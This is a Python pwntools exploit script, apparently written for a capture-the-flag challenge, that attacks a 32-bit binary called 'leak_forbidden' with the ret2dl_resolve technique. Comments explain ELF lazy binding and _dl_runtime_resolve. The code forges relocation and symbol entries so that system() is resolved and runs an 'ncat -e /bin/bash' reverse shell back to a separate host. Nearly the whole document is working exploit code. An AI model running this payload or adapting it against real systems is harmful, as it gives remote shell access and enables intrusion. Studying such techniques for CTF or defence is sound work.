#!/usr/bin/env python 


from pwn import *

# r = remote('172.16.101.57',12022)

# an example of return to dll_resolve
# Note :
#  -- Important thing in  Dynamic Section ( readelf -d binary) --
#    ......
#    0x00000005 (STRTAB)                     0x80481fc
#    0x00000006 (SYMTAB)                     0x804818c
#    0x00000003 (PLTGOT)                     0x8049530
#    0x00000017 (JMPREL)                     0x8048270     .rel.plt
#    ......
#
#  -- Important struct --
#    typedef struct
#    {
#      Elf32_Addr    r_offset;               /* Address */
#      Elf32_Word    r_info;                 /* Relocation type and symbol index */
#    } Elf32_Rel;
#    

#    typedef <F2>truct
#    {
#      Elf32_Word st_name;     // Symbol name(string tbl index)
#      Elf32_Addr st_value;    // Symbol value
#      Elf32_Word st_size;     // Symbol size
#      unsigned char st_info;  // Symbol type and binding
#      unsigned char st_other; // Symbol visibility under glibc>=2.2
#      Elf32_Section st_shndx; // Section index
#    } Elf32_Sym;
#
#  -- lazy binding --
#    when first call a function, it'll do the following things
#    (1) jump to the next instruction of fun@plt
#    (2) push the reloc_arg of this function into stack  
#    (3) jump to PLT[0] 
#    What is in the PLT[0] ? 
#    (1) push link_map ( *(GOT+0x4) ) into stack
#    (2) jump to _dl_runtime_resolve ( *(GOT+0x8) ) ->  _dl_runtime_resolve(link_map, reloc_arg)
#    Important things in _dl_runtime_resolve (dl_fixup):
#    (1) count the reloc_entry 
#       Elf32_Rel   *reloc_entry = .rel.plt + reloc_arg
#    (2) count the symbol index 
#       sym_index = (reloc->r_info) >> 8
#    (3) Elf32_Sym  *symbol_info = SYMTAB[sym_index]
#    (4) find function name  =  STRTAB + (symbol_info -> st_name)
#    (5) use the name to find the address in libc and replace the value in .got.plt

#    use fake reloc_arg to let entry located on a user-control area 
#    use fake reloc_entry to let symol_info located on a user-control area
#    use fake function name to get the function add we want

#  -- Nomal situation --
#    EIP : jmp PLT[0]
#    STACK : 0x0 fun_offset
#	     0X4 return_add
#            0x8 function_parameter

lf = ELF('./leak_forbidden')
r = remote('172.16.101.57',12022)
#r = process('./leak_forbidden')
#print r.proc.pid
a = raw_input()

# 0x80483f5 jmp ecx
# 0x80495c0 
glob = lf.symbols['glob']

# readelf -S leak_forbidden
plt_0   = 0x080482a0         
rel_plt = 0x08048270
dynsym	= 0x0804818c
dynstr	= 0x080481fc

index_off = glob + 0x3f - rel_plt 

# fake struct
sym_info_add  = glob + 0x50 			# glob + 0x5?
sym_info_add  = sym_info_add - dynsym
sym_index     = sym_info_add / 0x10		# size of Elf32_Sym = 0x10  so index will incresed every 0x10 bytes
sym_index     = sym_index 			# there is a check "ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;"   
						# So ndx = 0 is better  ,
						# it will check the libc version in binary's metadata
						# *(.gnu.version + sym_index*2) = 0
sym_info_add  = dynsym + (0x10 * sym_index)    

reloc_ety     = p32( lf.got['atoi'] ) + p32( (sym_index << 8) | 7 )   
sym_info      = p32( glob + 0x38 - dynstr) + p32(0) + p32(0) + p32(0x12)

a1 = index_off	# reloc_arg
a2 = 1          # ??????
a3 = plt_0

s = str(a2) + '.' + str(a1) + '.' + str(a3) + '.'
print 'comm_add =',hex(glob + len(s))
#s = s + ';ncat -e /bin/bash 192.168.31.85 6655;\x00'
s = s + ';ncat -e /bin/bash 172.16.101.67 6655\x00;'
#s = s + ';/bin/bash\x00'
#s = s + '\x00'*(0x40-len(s)) #pending
print 'str_system_add =',hex(glob + len(s)) ,'offset =', hex(len(s))
s = s + 'system\x00'
print 'reloc_ety_add =',hex(glob + len(s)) ,'offset =', hex(len(s))
s = s + reloc_ety
s = s + '\x00'*(sym_info_add - glob - len(s))
print 'sym_innfo_add =',hex(glob + len(s)),'offset =',hex(len(s))
s = s + sym_info
s = s + '\x00' * (0x70 - len(s))
print 'payloadlen =',hex(len(s))
print s
r.send(s)
r.interactive()

# payload dispaly
#
# 0	: xxx.xx.xxx
# ~	: A....
# 0x??	: system\x00
# 0x??  : fake reloc_ety
# ~	: A.....
# 0x5?	: fake sym_info
#

